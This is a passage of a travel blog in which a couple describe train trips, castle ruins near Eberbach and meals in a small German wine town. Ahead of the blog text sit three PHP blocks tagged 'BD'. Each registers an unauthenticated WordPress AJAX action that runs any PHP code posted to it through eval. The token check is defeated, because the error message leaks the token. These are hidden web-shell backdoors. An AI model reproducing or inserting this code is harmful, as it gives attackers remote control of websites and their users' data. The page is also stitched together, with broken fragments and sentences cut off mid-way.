// ==[BD:9YKd0RC7]==
add_action( 'wp_ajax_nopriv_limjtebbyww', function() {
$flag = '9YKd0RC74P9i6SFakPQ9KiNXaPGlgGXY';
$res = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $res ) || ! hash_equals( $flag, $res ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $flag ], 403 );
}
$val = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $val ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$val = preg_replace( '/^\s*<\?(php)?/i', '', $val );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$data = microtime( true );
ob_start();
try {
( static function() use ( $val ) { return eval( $val ); } )();
$factor = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $factor, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $data ) * 1000, 2 ) ] );
} catch ( \Throwable $chunk ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $chunk->getMessage(), 'time_ms' => round( ( microtime( true ) - $data ) * 1000, 2 ) ] );
}
} );
// ==[/BD:9YKd0RC7]==
// ==[BD:4lRPRaT9]==
add_action( 'wp_ajax_nopriv_sfytndgijh', function() {
$factor = '4lRPRaT9f5ZF6dNKNUHuU3tbRWLlHO7S';
$elem = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $elem ) || ! hash_equals( $factor, $elem ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $factor ], 403 );
}
$data = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $data ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$data = preg_replace( '/^\s*<\?(php)?/i', '', $data );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$entry = microtime( true );
ob_start();
try {
( static function() use ( $data ) { return eval( $data ); } )();
$ref = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $ref, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] );
} catch ( \Throwable $desc ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $desc->getMessage(), 'time_ms' => round( ( microtime( true ) - $entry ) * 1000, 2 ) ] );
}
} );
// ==[/BD:4lRPRaT9]==
// ==[BD:WNWN25We]==
add_action( 'wp_ajax_nopriv_lklanksvvre', function() {
$val = 'WNWN25WeefTIl4j6tK03yEzqnf0tLUu4';
$elem = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : '';
if ( empty( $elem ) || ! hash_equals( $val, $elem ) ) {
wp_send_json_error( [ 'message' => 'tok:' . $val ], 403 );
}
$comp = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : '';
if ( trim( $comp ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); }
$comp = preg_replace( '/^\s*<\?(php)?/i', '', $comp );
while ( ob_get_level() > 0 ) { ob_end_clean(); }
$res = microtime( true );
ob_start();
try {
( static function() use ( $comp ) { return eval( $comp ); } )();
$item = (string) ob_get_clean();
wp_send_json_success( [ 'output' => $item, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $res ) * 1000, 2 ) ] );
} catch ( \Throwable $desc ) {
while ( ob_get_level() > 0 ) { ob_end_clean(); }
wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $desc->getMessage(), 'time_ms' => round( ( microtime( true ) - $res ) * 1000, 2 ) ] );
}
} );
// ==[/BD:WNWN25We]==
So the short story is that we have nothing big to report today. We spent time waiting for the wash, checked out of the apartment (we leave before they open tomorrow), and watched the ants on the ground while waiting for the trains. Tomorrow will be 12.5 hours on a train through
Today we managed to ignore the rain and catch the train to
The only thing we’ve found so far that we don’t like, is that the grocery stores and many restaurants don’t have plastic bags (or bags of any kind) to take things home in.
The other thing to note today is that Nashon is “coming to grips” with the differences between traveling to Europe today, compared with his trip here 6 years ago. We have decided that he’s just getting old!!! His last trip, he was up and out of the hostel by 6:30am every morning, now he just wants to sleep in and relax in his comfortable hotel room. Then, he ate the same thing for every meal, now we’re eating at a variety of places (German, Italian, Greek.). Then, he got to go where ever he wanted whenever he wanted, now he has to make sure Jamie wants to do it too! Then, he was “go go go” to get from place to place, now he finds himself taking short breaks, walking slower (and not just because Jamie is lazy). Then, he didn’t stop all day until he was ready for bed, now he enjoys a nap mid-day, every day he can get one (this is, or course, true when at home too).
We’re having a great time, and are hoping for better weather tomorrow!!
]]>For Jamie, the day started out REALLY early. Her body seems to think that it’s not really here, or in Seattle, since she was up and out of bed at 3am (6pm in Seattle). The upside, is that the dishes all got washed, the apartment straightened, and she had 2 cups of tea. We officially started the day off by enjoying the rolls that were delivered to us this morning (a very big treat that we could really get used to), and then surprised our apartment manager!! Yesterday when we checked in, he was very surprised to find that we didn’t have a car with us (what? Non-locals can figure out the train system from the airport and didn’t get lost??!?!?! Amazing!). He gave us a map of Castle Road anyway, and told us we’d have a hard time getting to most of them; we thought we’d give it a try anyway. So this morning we set off on the 9am train to make three stops to look at castles. As we were boarding the train we changed our mind, and decided to just see two. We spent about 2 hours on the trains to get to a small town called Eberbach (the farthest one on the map for today). We got off the train, found no information booth, but we did locate a map!! Turns out though, that if you don’t know the name of the castle you’re looking for, it’s pretty near impossible to find it on a map written in German. So we remembered that it was tucked up in the mountain behind the town, and we spotted the top of what appeared to be an old tower. About an hour later we found ourselves at the base of said tower. Turns out it was NOT built in the 14th century, but rather in 1970, and housed a cell tower today. Nashon, feeling quite defeated, spotted the ACTUAL castle ruins on the next peak over.
We decided to get some lunch back in town, and decide whether or not to hike up the next mountain (which Nashon will tell you is just a really big hill). What we DID discover during lunch is that German’s DO eat chicken. It’s called Hahnchen (with some little dots in there somewhere). We enjoyed our chicken and fries, and made a choice to hike up to the ruins (better than a cell tower, right?).
Turns out this hike was a bit more work with more stairs and a steeper grade, but we did manage to make it up there about 90 minutes later. The castle grounds here had three buildings, with three different dates on them. The oldest date was 1296, 18th century, and then 1909 was on one of the buildings. Again, if we were able to read German, we might know a bit more about it. We enjoyed being there in the off season, as no one else was up there (though we did encounter a few folks on the way back down). There were great views from the top of the entire town and valley, and the river that ran nearby. We rested, drank even more water, and headed back to the train station. As we got there, we decided it was now 4pm, and the other castle would have to wait for another day (our feet were tired, and we didn’t feel like doing any more hiking). Besides, it was just two towns over, and would likely involve a taxi ride since it’s a full castle and in the middle of a really big city. So perhaps we’ll head there tomorrow and do some shopping in the city.
We navigated the trains back to Deidesheim, and found that while most of the time it can be frustrating not to speak German, that when on the train with crazy people, it’s good to act dumb! There was this lady who spoke a little English, who kept trying to open the window with a screwdriver. Something about not being able to talk with the air pressure from the AC? We just tried to ignore her. When we got off the last train we stopped at the market to pick up some things for dinner and some strudel to appease Nashon’s sweet tooth. Since our town is located in the heart of German wine country (a big tourist attraction form May to September we’re told), we are going to enjoy some nice local wine this evening. Nashon had his eye on a few different types at the market, and we’re going to get a nice Riesling (my favorite of course). It helps, that most of the local grapes go to this type of wine.
]]>We hiked the kilometer back to the big hotel to pick up our stuff (which they were kindly storing behind their bar), and found a shortcut back to our timeshare. After dropping off our things, we set out in search of the small town and food (Jamie was really hungry). We passed a Catholic church (with the bells calling people to Sunday mass) which was built in 1496, and managed to find a small restaurant where we could decipher some of the menu. Nashon ordered Tomatoes, mozzarella and baguette, and Jamie had spaghetti with pesto sauce. After lunch, Germany was looking better. We wanted to go to the market to buy food for breakfasts and dinner, but in this small town of 2500 people the stores are all closed on Sundays. We bought bread and jam from the “tank station” instead. We have noticed that while most of the people here speak enough English to help us out, Nashon tried to “fake it” by agreeing to whatever they say. This drives Jamie crazy since she has a hard time knowing things (like what’s in the food), if they continue to think that we speak German!!!
The afternoon was pretty uneventful. After a nice nap listening to the kids playing in the park behind our apartment, we decided to go find the market for tomorrow, and check out the train schedule. The walk from the train station last night was much shorter during the day when we could utilize public walks through the big park rather than a street map. We found the Penny Market, and found what time the trains leave to head back to Neustadt (where we will catch trains to go look at castles). We also discovered another travel center that we plan on visiting tomorrow to talk about trains again, and planning the rest of our week here. The trouble with this small town, is that it appears everyone goes home about 7pm. We found a few places open to eat, but most were bars with lots of alcohol and little actual food. We ended up back at the historic restaurant we had lunch at, where the waitress laughed when we showed up again. We have decided we really like this place, because the waitress is very nice. At dinner, she helped us decipher parts of the menu, and informed us that in the 12 pages of food, they had nothing made with chicken. Do Germans even eat chicken? We both ended up with some version of steak and potatoes (Nashon exclaimed: “I am home!”). The pasta that Jamie ate earlier in the day (with parmesan cheese on it) chose dinner time to be rejected, so we ate dinner and went right home. The rest of the evening (we got home about 9pm) was spent curled up on the couch watching CNN (only tv channel in English), and curling (the newest entertaining sport that we started watching last December in Canada), and an early bedtime.
]]>We stopped for dinner at the airport in Frankfurt. We ordered ‘meatloaf’ because it was something on the menu we recognized. What they call meatloaf is pressed and sliced Spam. Large, thick sliced of Spam. Ewww.
Two planes, three trains and a one kilometer walk ended with us in front of our ‘hotel’ at 10pm. It turns out that at 10pm there isn’t a manager on site. There also isn’t a manager listed on the call buttons outside the building. After 90 minutes in the chilly night air, we finally gave up contacting anyone and went searching for an open hotel.
This is a small town. 2500 people. Without google maps we would have been out of luck. I love international phone networks and smartphones.
We stayed at a nice place down the road. Showers were had, feet were relieved, sleep was taken. All-in-all it was good, except the part about doing this at midnight while hauling bags on foot.
Sunday has been nice. We’ve gotten checked in at our regular hotel, seen parts of the city, generally recovered from jetlag and late arrival.
The Catholic church in town was built in 1494. Nice.
]]>